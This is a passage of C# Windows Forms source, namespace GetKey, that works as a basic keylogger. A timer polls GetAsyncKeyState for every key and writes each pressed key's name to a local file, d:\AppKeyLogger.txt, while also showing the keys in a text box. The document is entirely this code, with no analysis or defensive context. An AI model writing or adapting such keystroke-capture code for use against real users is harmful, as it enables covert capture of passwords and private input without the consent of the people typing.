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using System.IO;

namespace GetKey

{

    public partial class Form1 : Form

    {

   

        public Form1()

        {

            InitializeComponent();

        }

        [DllImport("User32.dll")]

        private static extern short GetAsyncKeyState(System.Int32 vKey);



        string keyBuffer = string.Empty;  



        private void Form1_Load(object sender, EventArgs e)

        {

            textBox1.Text = "";

            timer1.Interval = 500; 

        }



        private void timer1_Tick(object sender, EventArgs e)

        {

            

            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))

            {

                int x = GetAsyncKeyState(i);

                if ((x == 1) || (x == Int16.MinValue))

                {

                    StreamWriter Keylogger = new StreamWriter(@"d:\AppKeyLogger.txt", true, Encoding.Unicode);

                    keyBuffer = Enum.GetName(typeof(Keys), i) ;

                    textBox1.Text += keyBuffer;

                    Keylogger.Write(keyBuffer);

                    textBox1.SelectionStart = textBox1.TextLength;

                    Keylogger.Close();

                }



                

            }

        }



    }

}


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